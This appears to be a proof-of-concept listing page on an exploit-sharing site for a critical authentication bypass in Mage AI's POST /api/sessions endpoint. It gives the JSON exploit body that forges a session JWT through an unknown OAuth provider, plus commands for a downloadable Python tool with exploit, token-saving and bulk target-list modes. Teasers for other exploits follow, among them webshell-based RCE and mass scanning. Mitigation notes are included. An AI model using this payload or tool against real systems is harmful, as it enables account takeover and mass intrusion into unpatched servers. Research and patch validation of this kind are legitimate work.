CVE-2026-111823 — Mage AI OAuth Session Authentication Bypass (POST /api/sessions)
October 17, 2026 · 413 views
Mage OSS through 0.9.80: unknown OAuth provider on POST /api/sessions still creates session JWT from body email without token verification (CWE-390/CWE-287). Requires X-API-KEY + require_user_authentication. CVSS 3.1 9.8. Fixed 76c4f46 PR #6204. Python PoC: check, oauth-probe, exploit, bulk.
Description
Overview
CVE-2026-111823 — Mage AI (mage-ai/mage-ai, Mage OSS) — unauthenticated authentication bypass via POST /api/sessions when an unknown OAuth provider is accepted (CWE-390, CWE-287).
| | | |---|---| | Affected | Through 0.9.80 (verify commit / patch on PyPI builds) | | Fixed | 76c4f46 / PR #6204 | | CVSS 3.1 | 9.8 Critical | | Default port | 6789 |
When token and provider are present, vulnerable SessionResource.create() resolves the provider. If the name is unknown, the code path still performs user lookup/creation using request body email without validating OAuth, then returns a session JWT.
Preconditions: X-API-KEY (public OAuth client key from UI/docs); require_user_authentication=true (default on OSS 0.9.78+).
PoC page: https://pocbit.org/pocs/cve-2026-111823
GitHub: murrez/CVE-2026-111823
CVE.org: CVE-2026-111823
Exploit body (summary)
{
"session": {
"email": "[email protected]",
"token": "unverified",
"provider": "invalid"
}
}
Success: valid JWT + API access (e.g. GET /api/pipelines, /api/users). Post-auth impact may include pipelines, file explorer, terminal — see upstream #6205, #6206 hardening.
Bundled tool (Python 3)
Download cve-2026-111823.py — writes poc.py, mage_core.py, tests/.
python cve-2026-111823.py
pip install -r requirements.txt
python poc.py --mode check -b http://127.0.0.1:6789
python poc.py --mode check -b http://127.0.0.1:6789 --oauth-probe
python poc.py -f targets.example.txt --mode check --oauth-probe -o results.jsonl
python poc.py -b http://127.0.0.1:6789 -e [email protected] --save-token session.json
python -m unittest discover -s tests -t . -v
Flags: --api-key, --skip-version-check, --force, -o JSON/JSONL.
Mitigation
- Deploy Mage including PR #6204 (reject unknown OAuth before session creation).
- Restrict 6789 to trusted networks; monitor
POST /api/sessionsfor unknownprovider. - Use verified SSO providers only until patched.
Legal and ethical use
Authorized security research and patch validation only.
References
Related PoCs
Same platform, vendor, or tags — explore more write-ups on Pocbit.
- Web appCVE-2026-106445critical
CVE-2026-106445 — Handlebars 4.0.0–4.7.9 RCE (Function.prototype.constructor Bypass)
handlebars 4.0.0–4.7.9: lookupProperty own-property order bypasses proto deny list → Function.prototype.constructor → sandbox escape when allowProtoMethodsByDefault:true and attacker-controlled compile (CWE-184/CWE-1289). CVSS 4.0 9.2 Critical AT:P. Fixed 4.7.10 GHSA-p8wg-vrv2-v86f. Python PoC: check/exploit, Docker lab, --render-path. Marker POCBIT-106445-OK.
- Web appCVE-2026-107806critical
CVE-2026-107806 — nginx-ui 2.3.8–2.4.x Authenticated RCE (Forged Backup Restore / TestConfigCmd)
0xJacky/nginx-ui >=2.3.8 <2.5.0: admin JWT can download backup, tamper app.ini TestConfigCmd in re-signed zip, POST /api/restore + /api/nginx/test → shell (CWE-94). CVSS 4.0 9.4 Critical PR:H. Not CVE-2026-42238. Fixed 2.5.0. Python PoC: check/exploit, batch url|JWT. Marker POCBIT-107806-OK.
- Web appCVE-2026-101894critical
CVE-2026-101894 — @xhmikosr/decompress Symlink-Chain Archive Path Traversal
Node.js @xhmikosr/decompress (and unmaintained decompress): read/write outside output dir via chained symlink archive entries — bypass of CVE-2026-53486 hardening. Fixed in 10.2.2 / 11.1.4; kevva decompress ≤4.2.1 unpatched. CVSS 3.1 9.1 Critical. Python PoC: --lab, lockfile check, evil.tar upload exploit, mass -j.
- Web appCVE-2026-85520critical
CVE-2026-85520 — PrestaShop gmfeed (MyPresta) Unauthenticated Arbitrary File Write → RCE
Google Merchant Center Feed (gmfeed) for PrestaShop ≤2.3.9: unauthenticated arbitrary file write on modules/gmfeed/feed.php when Save-to-file / URL export is enabled — attacker controls filename, path, extension, and body → PHP webshell → RCE. CVSS 9.3 Critical. Fixed in 2.3.10+ (2.4.1+ recommended). Python PoC: check, aggressive probe, exploit with marker stub, mass --list -j.